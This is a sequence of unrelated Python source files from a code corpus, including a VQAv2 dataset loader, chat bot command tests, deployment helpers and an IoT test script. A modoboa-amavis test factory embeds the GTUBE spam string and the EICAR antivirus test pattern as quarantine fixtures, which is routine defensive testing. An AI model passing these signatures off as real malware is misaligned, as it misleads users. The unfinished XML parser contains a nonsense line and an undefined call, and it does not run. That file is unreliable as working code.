# Copyright (c) Aishwarya Kamath & Nicolas Carion. Licensed under the Apache License 2.0. All Rights Reserved """ COCO dataset which returns image_id for evaluation. Mostly copy-paste from https://github.com/ashkamath/mdetr/blob/main/datasets/gqa.py """ import json from pathlib import Path import torch import torchvision from transformers import RobertaTokenizerFast from .coco import ConvertCocoPolysToMask, ModulatedDetection, make_coco_transforms class VQAv2Detection(ModulatedDetection): pass class VQAv2QuestionAnswering(torchvision.datasets.CocoDetection): def __init__(self, img_folder, ann_file, transforms, return_masks, return_tokens, tokenizer, ann_folder): super(VQAv2QuestionAnswering, self).__init__(img_folder, ann_file) self._transforms = transforms self.prepare = ConvertCocoPolysToMask(return_masks, return_tokens, tokenizer=tokenizer) with open(ann_folder / "vqa2_answer2id.json", "r") as f: self.answer2id = json.load(f) with open(ann_folder / "vqa2_answer2id_by_type.json", "r") as f: self.answer2id_by_type = json.load(f) self.type2id = {"yes/no": 0, "number": 1, "other": 2} def __getitem__(self, idx): img, target = super(VQAv2QuestionAnswering, self).__getitem__(idx) image_id = self.ids[idx] coco_img = self.coco.loadImgs(image_id)[0] caption = coco_img["caption"] dataset_name = coco_img["dataset_name"] questionId = coco_img["questionId"] target = {"image_id": image_id, "annotations": target, "caption": caption} img, target = self.prepare(img, target) if self._transforms is not None: img, target = self._transforms(img, target) target["dataset_name"] = dataset_name target["questionId"] = questionId if coco_img["answer"] not in self.answer2id: answer = "unknown" else: answer = coco_img["answer"] target["answer"] = torch.as_tensor(self.answer2id[answer], dtype=torch.long) target["answer_type"] = torch.as_tensor(self.type2id[coco_img["answer_type"]], dtype=torch.long) # util.misc.collate_fn requires to put 'answer' before every type of answer in target if coco_img["answer"] not in self.answer2id_by_type["yes/no"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_yes/no"] = torch.as_tensor( self.answer2id_by_type["yes/no"][answer] if coco_img["answer_type"] == "yes/no" else -100, dtype=torch.long, ) if coco_img["answer"] not in self.answer2id_by_type["number"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_number"] = torch.as_tensor( self.answer2id_by_type["number"][answer] if coco_img["answer_type"] == "number" else -100, dtype=torch.long, ) if coco_img["answer"] not in self.answer2id_by_type["other"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_other"] = torch.as_tensor( self.answer2id_by_type["other"][answer] if coco_img["answer_type"] == "other" else -100, dtype=torch.long, ) return img, target def build(image_set, args): # TODO: img or all? img_dir = Path(args.coco_img_path) assert img_dir.exists(), f"provided COCO img path {img_dir} does not exist" tokenizer = RobertaTokenizerFast.from_pretrained(args.text_encoder_type) if args.do_qa: # Для vqa2 это не нужно: # assert args.vqa2_split_type is not None if image_set == "train": datasets = [] for imset in ["train", "minival"]: ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_{imset}.json" datasets.append( VQAv2QuestionAnswering( img_dir / "train2014" if imset == "train" else img_dir / "val2014", ann_file, transforms=make_coco_transforms(image_set, cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) ) return torch.utils.data.ConcatDataset(datasets) elif image_set == "val": # TODO: правильный ли ann_file? ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_minival.json" return VQAv2QuestionAnswering( img_dir / "val2014", ann_file, transforms=make_coco_transforms(image_set, cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) elif image_set in ["test", "testdev", "trainval"]: ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_{image_set}.json" return VQAv2QuestionAnswering( img_dir / "test2015", ann_file, transforms=make_coco_transforms("val", cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) else: assert False, f"Unknown image set {image_set}"

39.664286

109

0.60886

import json from pathlib import Path import torch import torchvision from transformers import RobertaTokenizerFast from .coco import ConvertCocoPolysToMask, ModulatedDetection, make_coco_transforms class VQAv2Detection(ModulatedDetection): pass class VQAv2QuestionAnswering(torchvision.datasets.CocoDetection): def __init__(self, img_folder, ann_file, transforms, return_masks, return_tokens, tokenizer, ann_folder): super(VQAv2QuestionAnswering, self).__init__(img_folder, ann_file) self._transforms = transforms self.prepare = ConvertCocoPolysToMask(return_masks, return_tokens, tokenizer=tokenizer) with open(ann_folder / "vqa2_answer2id.json", "r") as f: self.answer2id = json.load(f) with open(ann_folder / "vqa2_answer2id_by_type.json", "r") as f: self.answer2id_by_type = json.load(f) self.type2id = {"yes/no": 0, "number": 1, "other": 2} def __getitem__(self, idx): img, target = super(VQAv2QuestionAnswering, self).__getitem__(idx) image_id = self.ids[idx] coco_img = self.coco.loadImgs(image_id)[0] caption = coco_img["caption"] dataset_name = coco_img["dataset_name"] questionId = coco_img["questionId"] target = {"image_id": image_id, "annotations": target, "caption": caption} img, target = self.prepare(img, target) if self._transforms is not None: img, target = self._transforms(img, target) target["dataset_name"] = dataset_name target["questionId"] = questionId if coco_img["answer"] not in self.answer2id: answer = "unknown" else: answer = coco_img["answer"] target["answer"] = torch.as_tensor(self.answer2id[answer], dtype=torch.long) target["answer_type"] = torch.as_tensor(self.type2id[coco_img["answer_type"]], dtype=torch.long) if coco_img["answer"] not in self.answer2id_by_type["yes/no"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_yes/no"] = torch.as_tensor( self.answer2id_by_type["yes/no"][answer] if coco_img["answer_type"] == "yes/no" else -100, dtype=torch.long, ) if coco_img["answer"] not in self.answer2id_by_type["number"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_number"] = torch.as_tensor( self.answer2id_by_type["number"][answer] if coco_img["answer_type"] == "number" else -100, dtype=torch.long, ) if coco_img["answer"] not in self.answer2id_by_type["other"]: answer = "unknown" else: answer = coco_img["answer"] target["answer_other"] = torch.as_tensor( self.answer2id_by_type["other"][answer] if coco_img["answer_type"] == "other" else -100, dtype=torch.long, ) return img, target def build(image_set, args): img_dir = Path(args.coco_img_path) assert img_dir.exists(), f"provided COCO img path {img_dir} does not exist" tokenizer = RobertaTokenizerFast.from_pretrained(args.text_encoder_type) if args.do_qa: if image_set == "train": datasets = [] for imset in ["train", "minival"]: ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_{imset}.json" datasets.append( VQAv2QuestionAnswering( img_dir / "train2014" if imset == "train" else img_dir / "val2014", ann_file, transforms=make_coco_transforms(image_set, cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) ) return torch.utils.data.ConcatDataset(datasets) elif image_set == "val": ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_minival.json" return VQAv2QuestionAnswering( img_dir / "val2014", ann_file, transforms=make_coco_transforms(image_set, cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) elif image_set in ["test", "testdev", "trainval"]: ann_file = Path(args.vqa2_ann_path) / f"finetune_vqa2_{image_set}.json" return VQAv2QuestionAnswering( img_dir / "test2015", ann_file, transforms=make_coco_transforms("val", cautious=True), return_masks=args.masks, return_tokens=True, tokenizer=tokenizer, ann_folder=Path(args.vqa2_ann_path), ) else: assert False, f"Unknown image set {image_set}"

true

f701820b9d872f8eac52d86e40473c2034a80a09

2,240

py

Python

tests/commands/test_admin.py

TheGoodlike13/sahyun-bot

8ebc3d4e58a0acf9bde3c9ea8339145abcc53fcb

[ "MIT" ]

1

2022-02-21T18:55:34.000Z

tests/commands/test_admin.py

TheGoodlike13/sahyun-bot

8ebc3d4e58a0acf9bde3c9ea8339145abcc53fcb

[ "MIT" ]

null

tests/commands/test_admin.py

TheGoodlike13/sahyun-bot

8ebc3d4e58a0acf9bde3c9ea8339145abcc53fcb

[ "MIT" ]

null

from assertpy import assert_that from httmock import HTTMock from sahyun_bot.commands.admin import Index, Rank from sahyun_bot.users_settings import UserRank from tests.mock_customsforge import customsforge def test_require_admin(commander, hook): for command in ['!lock', '!index', '!rank']: with commander.executest(hook, command, 'goodlikebot'): hook.assert_silent_failure() def test_lock_unlock(commander, hook): with commander.executest(hook, '!lock'): hook.assert_success('Bot is now in ADMIN only mode') # even basic commands are unauthorized with commander.executest(hook, '!time', 'goodlikebot'): hook.assert_silent_failure() with commander.executest(hook, '!lock'): hook.assert_success('Bot no longer in ADMIN only mode') # functionality restored with commander.executest(hook, '!time', 'goodlikebot'): hook.assert_success() def test_index(tl, hook): with HTTMock(customsforge), Index(tl=tl).executest(hook): hook.assert_success('CDLCs indexed') tl.set_use_elastic(False) with HTTMock(customsforge), Index(tl=tl).executest(hook): hook.assert_failure('CDLCs could not be indexed') def test_rank(users, hook): with Rank(us=users).executest(hook, args=''): hook.assert_failure('Try !rank RANK NICK') with Rank(us=users).executest(hook, args='just_rank'): hook.assert_failure('Try !rank RANK NICK') with Rank(us=users).executest(hook, args='BAD_RANK goodlikebot'): hook.assert_failure('BAD_RANK is not a valid rank') with Rank(us=users).executest(hook, args='BAN goodlikebot'), users._manual('goodlikebot'): hook.assert_success('goodlikebot is now BAN') assert_that(users.rank('goodlikebot')).is_equal_to(UserRank.BAN) users.set_use_elastic(False) with Rank(us=users).executest(hook, args='ADMIN goodlikebot'): hook.assert_failure('Rank could not be set') def test_rank_shorthand(commander, hook): with commander.executest(hook, '!ban goodlikebot'), commander._users._manual('goodlikebot'): hook.assert_success('goodlikebot is now BAN') assert_that(commander._users.rank('goodlikebot')).is_equal_to(UserRank.BAN)

34.461538

96

0.710714

from assertpy import assert_that from httmock import HTTMock from sahyun_bot.commands.admin import Index, Rank from sahyun_bot.users_settings import UserRank from tests.mock_customsforge import customsforge def test_require_admin(commander, hook): for command in ['!lock', '!index', '!rank']: with commander.executest(hook, command, 'goodlikebot'): hook.assert_silent_failure() def test_lock_unlock(commander, hook): with commander.executest(hook, '!lock'): hook.assert_success('Bot is now in ADMIN only mode') with commander.executest(hook, '!time', 'goodlikebot'): hook.assert_silent_failure() with commander.executest(hook, '!lock'): hook.assert_success('Bot no longer in ADMIN only mode') with commander.executest(hook, '!time', 'goodlikebot'): hook.assert_success() def test_index(tl, hook): with HTTMock(customsforge), Index(tl=tl).executest(hook): hook.assert_success('CDLCs indexed') tl.set_use_elastic(False) with HTTMock(customsforge), Index(tl=tl).executest(hook): hook.assert_failure('CDLCs could not be indexed') def test_rank(users, hook): with Rank(us=users).executest(hook, args=''): hook.assert_failure('Try !rank RANK NICK') with Rank(us=users).executest(hook, args='just_rank'): hook.assert_failure('Try !rank RANK NICK') with Rank(us=users).executest(hook, args='BAD_RANK goodlikebot'): hook.assert_failure('BAD_RANK is not a valid rank') with Rank(us=users).executest(hook, args='BAN goodlikebot'), users._manual('goodlikebot'): hook.assert_success('goodlikebot is now BAN') assert_that(users.rank('goodlikebot')).is_equal_to(UserRank.BAN) users.set_use_elastic(False) with Rank(us=users).executest(hook, args='ADMIN goodlikebot'): hook.assert_failure('Rank could not be set') def test_rank_shorthand(commander, hook): with commander.executest(hook, '!ban goodlikebot'), commander._users._manual('goodlikebot'): hook.assert_success('goodlikebot is now BAN') assert_that(commander._users.rank('goodlikebot')).is_equal_to(UserRank.BAN)

true

f701836e504ea4264dcd26c30d57e1b8dca9025b

3,075

py

Python

gogamechen3/api/rpc/taskflow/__init__.py

lolizeppelin/gogamechen3

4ff06f9042f1bb0cc22e1cc0b342967a829ae0f8

[ "MIT" ]

null

gogamechen3/api/rpc/taskflow/__init__.py

lolizeppelin/gogamechen3

4ff06f9042f1bb0cc22e1cc0b342967a829ae0f8

[ "MIT" ]

null

gogamechen3/api/rpc/taskflow/__init__.py

lolizeppelin/gogamechen3

4ff06f9042f1bb0cc22e1cc0b342967a829ae0f8

[ "MIT" ]

null

import os import base64 from simpleutil.utils import digestutils from goperation.filemanager import LocalFile from goperation.manager.rpc.agent.application.taskflow.middleware import EntityMiddleware from goperation.manager.rpc.agent.application.taskflow.database import Database from goperation.manager.rpc.agent.application.taskflow.application import AppUpgradeFile from goperation.manager.rpc.agent.application.taskflow.application import AppLocalBackupFile from gogamechen3.api import gfile class GogameMiddle(EntityMiddleware): def __init__(self, entity, endpoint, objtype): super(GogameMiddle, self).__init__(entity, endpoint) self.objtype = objtype self.databases = {} self.waiter = None class GogameDatabase(Database): def __init__(self, **kwargs): super(GogameDatabase, self).__init__(**kwargs) self.database_id = kwargs.get('database_id') self.source = kwargs.get('source') self.rosource = kwargs.get('rosource') self.subtype = kwargs.get('subtype') self.ro_user = kwargs.get('ro_user') self.ro_passwd = kwargs.get('ro_passwd') class GogameAppFile(AppUpgradeFile): def __init__(self, source, objtype, revertable=False, rollback=False, stream=None): super(GogameAppFile, self).__init__(source, revertable, rollback) self.objtype = objtype self.stream = stream def post_check(self): gfile.check(self.objtype, self.file) def clean(self): if self.stream: os.remove(self.file) def prepare(self, middleware=None, timeout=None): if self.stream: if len(self.stream) > 5000: raise ValueError("Strem over size") file_path = os.path.join('/tmp', '%s.zip' % self.source) data = base64.b64decode(self.stream) if digestutils.strmd5(data) != self.source: raise ValueError('Md5 not match') with open(file_path, 'wb') as f: data = base64.b64decode(self.stream) f.write(data) self.localfile = LocalFile(file_path, self.source, len(data)) else: self.localfile = middleware.filemanager.get(self.source, download=True, timeout=timeout) try: self.post_check() except Exception: localfile = self.localfile self.localfile = None if self.stream: os.remove(localfile.path) else: middleware.filemanager.delete(self.source) raise class GogameAppBackupFile(AppLocalBackupFile): def __init__(self, destination, objtype): super(GogameAppBackupFile, self).__init__(destination, exclude=gfile.CompressConfAndLogExcluder(), topdir=False, native=True) self.objtype = objtype def post_check(self): gfile.check(self.objtype, self.file)

35.344828

100

0.626992

import os import base64 from simpleutil.utils import digestutils from goperation.filemanager import LocalFile from goperation.manager.rpc.agent.application.taskflow.middleware import EntityMiddleware from goperation.manager.rpc.agent.application.taskflow.database import Database from goperation.manager.rpc.agent.application.taskflow.application import AppUpgradeFile from goperation.manager.rpc.agent.application.taskflow.application import AppLocalBackupFile from gogamechen3.api import gfile class GogameMiddle(EntityMiddleware): def __init__(self, entity, endpoint, objtype): super(GogameMiddle, self).__init__(entity, endpoint) self.objtype = objtype self.databases = {} self.waiter = None class GogameDatabase(Database): def __init__(self, **kwargs): super(GogameDatabase, self).__init__(**kwargs) self.database_id = kwargs.get('database_id') self.source = kwargs.get('source') self.rosource = kwargs.get('rosource') self.subtype = kwargs.get('subtype') self.ro_user = kwargs.get('ro_user') self.ro_passwd = kwargs.get('ro_passwd') class GogameAppFile(AppUpgradeFile): def __init__(self, source, objtype, revertable=False, rollback=False, stream=None): super(GogameAppFile, self).__init__(source, revertable, rollback) self.objtype = objtype self.stream = stream def post_check(self): gfile.check(self.objtype, self.file) def clean(self): if self.stream: os.remove(self.file) def prepare(self, middleware=None, timeout=None): if self.stream: if len(self.stream) > 5000: raise ValueError("Strem over size") file_path = os.path.join('/tmp', '%s.zip' % self.source) data = base64.b64decode(self.stream) if digestutils.strmd5(data) != self.source: raise ValueError('Md5 not match') with open(file_path, 'wb') as f: data = base64.b64decode(self.stream) f.write(data) self.localfile = LocalFile(file_path, self.source, len(data)) else: self.localfile = middleware.filemanager.get(self.source, download=True, timeout=timeout) try: self.post_check() except Exception: localfile = self.localfile self.localfile = None if self.stream: os.remove(localfile.path) else: middleware.filemanager.delete(self.source) raise class GogameAppBackupFile(AppLocalBackupFile): def __init__(self, destination, objtype): super(GogameAppBackupFile, self).__init__(destination, exclude=gfile.CompressConfAndLogExcluder(), topdir=False, native=True) self.objtype = objtype def post_check(self): gfile.check(self.objtype, self.file)

true

f7018457af97cde20bee525c029ee91da68c58d8

2,647

py

Python

Libraries/XML.py

CoolCat467/MineOS-Python3-Port

39a6b4c1fcca7165501c8c2c77c5e10b208830d8

[ "MIT" ]

null

Libraries/XML.py

CoolCat467/MineOS-Python3-Port

39a6b4c1fcca7165501c8c2c77c5e10b208830d8

[ "MIT" ]

null

Libraries/XML.py

CoolCat467/MineOS-Python3-Port

39a6b4c1fcca7165501c8c2c77c5e10b208830d8

[ "MIT" ]

null

#!/usr/bin/env python3 # XML API, for dealing with XML strings # -*- coding: utf-8 -*- __all__ = ['parseargs', 'collect'] '<users>\n\t<user>\n\t\t<id>1</id>\n\t\t<name>Fred</name>\n\t\t<salary>500000</salary>\n\t</user>\n\t<user>\n\t\t<id>1</id>\n\t\t<name>ScienceCat</name>\n\t\t<salary>500000</salary>\n\t</user>\n\t<user>\n\t\t<id>1</id>\n\t\t<name>Bob</name>\n\t\t<salary>500000</salary>\n\t</user>\n</users>' xmlex = '<users>\n<user>\n<id>1</id>\n<name>Fred</name>\n<salary>500000</salary>\n</user>\n<user>\n<id>1</id>\n<name>ScienceCat</name>\n<salary>500000</salary>\n</user>\n<user>\n<id>1</id>\n<name>Bob</name>\n<salary>500000</salary>\n</user>\n</users>' argex = 'cats="True and Sand" true=\'Cats two\' sand="graval"' ##import re ##import xml.etree.cElementTree as xml def parseargs(string:str): """Split a given string into individual arguments, seperated into key:arg for <key>=(' or ")<arg>(same char as start)""" arg = {} # ([%-%w]+)=([\"'])(.-)%2 # '([\w]+)=([\"\'])(.*)' # '([-\w]+)=([\"\']*)' ## pattern = re.compile('([\w]+)=([\"\'])(.*)') ## print(pattern) ## for match in re.findall(pattern, string): ## print(match) parts = string.split(' ') bkey = '' buffer = '' end = '"' for part in parts: if '=' in part: key, vp = part.split('=') if vp[0] in ('"', "'"): end = vp[0] if vp.endswith(end): arg[key] = vp[1:-1] else: bkey = key buffer += vp elif part.endswith(end): buffer += ' '+part arg[bkey] = buffer[1:-1] bkey, buffer = '', '' else: buffer += ' '+part return arg def collect(string:str): stack = [] top = [] stack.append(top) i, j = 0, 0 class elementTag: def __init__(self, label, xargs, empty=0): self.label = label self.xargs = xargs self.empty = empty while True: ni h c lable xarg emtpy if not ni: break text = string[i:ni-1] if not text.find('^ '): top.append(text) if empty == '/':# empty element tag top.append(elementTag(label, parseargs(xarg), 1)) elif c == '': # start tag top = [elementTag(label, parseargs(xarg))] stack.append(top) else: toclose = stack if len(stack) < 1: error(f'Nothing to close with {label}.') elif toclose.label == label: pass

28.771739

291

0.491878

__all__ = ['parseargs', 'collect'] xmlex = '<users>\n<user>\n<id>1</id>\n<name>Fred</name>\n<salary>500000</salary>\n</user>\n<user>\n<id>1</id>\n<name>ScienceCat</name>\n<salary>500000</salary>\n</user>\n<user>\n<id>1</id>\n<name>Bob</name>\n<salary>500000</salary>\n</user>\n</users>' argex = 'cats="True and Sand" true=\'Cats two\' sand="graval"' # '([\w]+)=([\"\'])(.*)' ## pattern = re.compile('([\w]+)=([\"\'])(.*)') for part in parts: if '=' in part: key, vp = part.split('=') if vp[0] in ('"', "'"): end = vp[0] if vp.endswith(end): arg[key] = vp[1:-1] else: bkey = key buffer += vp elif part.endswith(end): buffer += ' '+part arg[bkey] = buffer[1:-1] bkey, buffer = '', '' else: buffer += ' '+part return arg def collect(string:str): stack = [] top = [] stack.append(top) i, j = 0, 0 class elementTag: def __init__(self, label, xargs, empty=0): self.label = label self.xargs = xargs self.empty = empty while True: ni h c lable xarg emtpy if not ni: break text = string[i:ni-1] if not text.find('^ '): top.append(text) if empty == '/':# empty element tag top.append(elementTag(label, parseargs(xarg), 1)) elif c == '': # start tag top = [elementTag(label, parseargs(xarg))] stack.append(top) else: toclose = stack if len(stack) < 1: error(f'Nothing to close with {label}.') elif toclose.label == label: pass

true

f70184ed31796ae9bea068a1768eac058c99e2d0

3,165

py

Python

scripts/local_test_http_function.py

sanserg/fun-anomaly

8b07f3f393cd60dbcff3f3fa0bebe11ced5f6a5d

[ "Apache-2.0" ]

null

scripts/local_test_http_function.py

sanserg/fun-anomaly

8b07f3f393cd60dbcff3f3fa0bebe11ced5f6a5d

[ "Apache-2.0" ]

null

scripts/local_test_http_function.py

sanserg/fun-anomaly

8b07f3f393cd60dbcff3f3fa0bebe11ced5f6a5d

[ "Apache-2.0" ]

null

import json import logging from sqlalchemy import Column, Integer, String, Float, DateTime, Boolean, func from iotfunctions import bif from ai.functions import SimpleAnomaly from iotfunctions.metadata import EntityType from iotfunctions.db import Database from iotfunctions.enginelog import EngineLogging from custom import settings EngineLogging.configure_console_logging(logging.DEBUG) ''' # Replace with a credentials dictionary or provide a credentials # Explore > Usage > Watson IOT Platform Analytics > Copy to clipboard # Past contents in a json file. ''' #with open('credentials_Monitor-Demo.json', encoding='utf-8') as F: #with open('credentials.json', encoding='utf-8') as F: with open('credentials_dev2.json', encoding='utf-8') as F: credentials = json.loads(F.read()) ''' Developing Test Pipelines ------------------------- When creating a set of functions you can test how they these functions will work together by creating a test pipeline. ''' ''' Create a database object to access Watson IOT Platform Analytics DB. ''' db = Database(credentials = credentials) db_schema = None # set if you are not using the default ''' To do anything with IoT Platform Analytics, you will need one or more entity type. You can create entity types through the IoT Platform or using the python API as shown below. The database schema is only needed if you are not using the default schema. You can also rename the timestamp. ''' entity_name = 'Turbines' # dash100462 Used in dev2 db_schema = 'dash100462' # db_schema = None # replace if you are not using the default schema db.drop_table(entity_name, schema = db_schema) entity = EntityType(entity_name,db, Column('TURBINE_ID',String(50)), Column('TEMPERATURE',Float()), Column('PRESSURE',Float()), Column('VOLUME', Float()), SimpleAnomaly(request='GET', url='internal_test', output_item = 'http_preload_done'), bif.PythonExpression(expression='df["TEMPERATURE"]*df["PRESSURE"]', output_name = 'VOLUME'), **{ '_timestamp' : 'evt_timestamp', '_db_schema' : db_schema }) ''' When creating an EntityType object you will need to specify the name of the entity, the database object that will contain entity data After creating an EntityType you will need to register it so that it visible in the UI. To also register the functions and constants associated with the entity type, specify 'publish_kpis' = True. ''' entity.register(raise_error=False) db.register_functions([SimpleAnomaly]) ''' To test the execution of kpi calculations defined for the entity type locally use 'test_local_pipeline'. A local test will not update the server job log or write kpi data to the AS data lake. Instead kpi data is written to the local filesystem in csv form. ''' entity.exec_local_pipeline() ''' view entity data ''' df = db.read_table(table_name=entity_name, schema=db_schema) print(df.head())

36.37931

110

0.68752

import json import logging from sqlalchemy import Column, Integer, String, Float, DateTime, Boolean, func from iotfunctions import bif from ai.functions import SimpleAnomaly from iotfunctions.metadata import EntityType from iotfunctions.db import Database from iotfunctions.enginelog import EngineLogging from custom import settings EngineLogging.configure_console_logging(logging.DEBUG) with open('credentials_dev2.json', encoding='utf-8') as F: credentials = json.loads(F.read()) db = Database(credentials = credentials) db_schema = None entity_name = 'Turbines' db_schema = 'dash100462' entity = EntityType(entity_name,db, Column('TURBINE_ID',String(50)), Column('TEMPERATURE',Float()), Column('PRESSURE',Float()), Column('VOLUME', Float()), SimpleAnomaly(request='GET', url='internal_test', output_item = 'http_preload_done'), bif.PythonExpression(expression='df["TEMPERATURE"]*df["PRESSURE"]', output_name = 'VOLUME'), **{ '_timestamp' : 'evt_timestamp', '_db_schema' : db_schema }) entity.register(raise_error=False) db.register_functions([SimpleAnomaly]) entity.exec_local_pipeline() df = db.read_table(table_name=entity_name, schema=db_schema) print(df.head())

true

f70184f57fcc71d87ff6ce78f33efc207b7ef96b

4,810

py

Python

modoboa_amavis/factories.py

modoboa/modoboa-amavis

18e5a210ac2eb007ce28d70675f4188d93e1b822

[ "MIT" ]

22

2015-05-01T09:09:11.000Z

2021-03-20T03:11:49.000Z

modoboa_amavis/factories.py

modoboa/modoboa-amavis

18e5a210ac2eb007ce28d70675f4188d93e1b822

[ "MIT" ]

138

2015-04-30T16:59:47.000Z

2022-03-13T13:46:28.000Z

modoboa_amavis/factories.py

modoboa/modoboa-amavis

18e5a210ac2eb007ce28d70675f4188d93e1b822

[ "MIT" ]

18

2015-05-05T10:27:23.000Z

2021-09-19T23:58:59.000Z

# -*- coding: utf-8 -*- """Amavis factories.""" from __future__ import unicode_literals import datetime import time import factory from . import models from .utils import smart_bytes SPAM_BODY = """X-Envelope-To: <{rcpt}> X-Envelope-To-Blocked: <{rcpt}> X-Quarantine-ID: <nq6ekd4wtXZg> X-Spam-Flag: YES X-Spam-Score: 1000.985 X-Spam-Level: **************************************************************** X-Spam-Status: Yes, score=1000.985 tag=2 tag2=6.31 kill=6.31 tests=[ALL_TRUSTED=-1, GTUBE=1000, PYZOR_CHECK=1.985] autolearn=no autolearn_force=no Received: from demo.modoboa.org ([127.0.0.1]) by localhost (demo.modoboa.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id nq6ekd4wtXZg for <user@demo.local>; Thu, 9 Nov 2017 15:59:52 +0100 (CET) Received: from demo.modoboa.org (localhost [127.0.0.1]) by demo.modoboa.org (Postfix) with ESMTP for <user@demo.local>; Thu, 9 Nov 2017 15:59:52 +0100 (CET) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 Subject: Sample message From: {sender} To: {rcpt} Message-ID: <151023959268.5550.5713670714483771838@demo.modoboa.org> Date: Thu, 09 Nov 2017 15:59:52 +0100 This is the GTUBE, the Generic Test for Unsolicited Bulk Email If your spam filter supports it, the GTUBE provides a test by which you can verify that the filter is installed correctly and is detecting incoming spam. You can send yourself a test mail containing the following string of characters (in upper case and with no white spaces and line breaks): XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X You should send this test mail from an account outside of your network. """ VIRUS_BODY = """Subject: Virus Test Message (EICAR) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="huq684BweRXVnRxX" Content-Disposition: inline Date: Sun, 06 Nov 2011 10:08:18 -0800 --huq684BweRXVnRxX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline This is a virus test message. It contains an attached file 'eicar.com', which contains the EICAR virus <http://eicar.org/86-0-Intended-use.html> test pattern. --huq684BweRXVnRxX Content-Type: application/x-msdos-program Content-Disposition: attachment; filename="eicar.com" Content-Transfer-Encoding: quoted-printable X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*=0A --huq684BweRXVnRxX-- """ class MaddrFactory(factory.django.DjangoModelFactory): """Factory for Maddr.""" class Meta: model = models.Maddr django_get_or_create = ("email", ) id = factory.Sequence(lambda n: n) # NOQA:A003 email = factory.Sequence(lambda n: "user_{}@domain.test".format(n)) domain = "test.domain" class MsgsFactory(factory.django.DjangoModelFactory): """Factory for Mailaddr.""" class Meta: model = models.Msgs mail_id = factory.Sequence(lambda n: "mailid{}".format(n)) secret_id = factory.Sequence(lambda n: smart_bytes("id{}".format(n))) sid = factory.SubFactory(MaddrFactory) client_addr = "127.0.0.1" originating = "Y" dsn_sent = "N" subject = factory.Sequence(lambda n: "Test message {}".format(n)) time_num = factory.LazyAttribute(lambda o: int(time.time())) time_iso = factory.LazyAttribute( lambda o: datetime.datetime.fromtimestamp(o.time_num).isoformat()) size = 100 class MsgrcptFactory(factory.django.DjangoModelFactory): """Factory for Msgrcpt.""" class Meta: model = models.Msgrcpt rseqnum = 1 is_local = "Y" bl = "N" wl = "N" mail = factory.SubFactory(MsgsFactory) rid = factory.SubFactory(MaddrFactory) class QuarantineFactory(factory.django.DjangoModelFactory): """Factory for Quarantine.""" class Meta: model = models.Quarantine chunk_ind = 1 mail = factory.SubFactory(MsgsFactory) def create_quarantined_msg(rcpt, sender, rs, body, **kwargs): """Create a quarantined msg.""" msgrcpt = MsgrcptFactory( rs=rs, rid__email=rcpt, rid__domain="com.test", # FIXME mail__sid__email=smart_bytes(sender), mail__sid__domain="", # FIXME **kwargs ) QuarantineFactory( mail=msgrcpt.mail, mail_text=smart_bytes(SPAM_BODY.format(rcpt=rcpt, sender=sender)) ) return msgrcpt def create_spam(rcpt, sender="spam@evil.corp", rs=" "): """Create a spam.""" body = SPAM_BODY.format(rcpt=rcpt, sender=sender) body += "fóó bár" return create_quarantined_msg( rcpt, sender, rs, body, bspam_level=999.0, content="S") def create_virus(rcpt, sender="virus@evil.corp", rs=" "): """Create a virus.""" return create_quarantined_msg(rcpt, sender, rs, VIRUS_BODY, content="V")

28.802395

78

0.685863

from __future__ import unicode_literals import datetime import time import factory from . import models from .utils import smart_bytes SPAM_BODY = """X-Envelope-To: <{rcpt}> X-Envelope-To-Blocked: <{rcpt}> X-Quarantine-ID: <nq6ekd4wtXZg> X-Spam-Flag: YES X-Spam-Score: 1000.985 X-Spam-Level: **************************************************************** X-Spam-Status: Yes, score=1000.985 tag=2 tag2=6.31 kill=6.31 tests=[ALL_TRUSTED=-1, GTUBE=1000, PYZOR_CHECK=1.985] autolearn=no autolearn_force=no Received: from demo.modoboa.org ([127.0.0.1]) by localhost (demo.modoboa.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id nq6ekd4wtXZg for <user@demo.local>; Thu, 9 Nov 2017 15:59:52 +0100 (CET) Received: from demo.modoboa.org (localhost [127.0.0.1]) by demo.modoboa.org (Postfix) with ESMTP for <user@demo.local>; Thu, 9 Nov 2017 15:59:52 +0100 (CET) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 Subject: Sample message From: {sender} To: {rcpt} Message-ID: <151023959268.5550.5713670714483771838@demo.modoboa.org> Date: Thu, 09 Nov 2017 15:59:52 +0100 This is the GTUBE, the Generic Test for Unsolicited Bulk Email If your spam filter supports it, the GTUBE provides a test by which you can verify that the filter is installed correctly and is detecting incoming spam. You can send yourself a test mail containing the following string of characters (in upper case and with no white spaces and line breaks): XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X You should send this test mail from an account outside of your network. """ VIRUS_BODY = """Subject: Virus Test Message (EICAR) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="huq684BweRXVnRxX" Content-Disposition: inline Date: Sun, 06 Nov 2011 10:08:18 -0800 --huq684BweRXVnRxX Content-Type: text/plain; 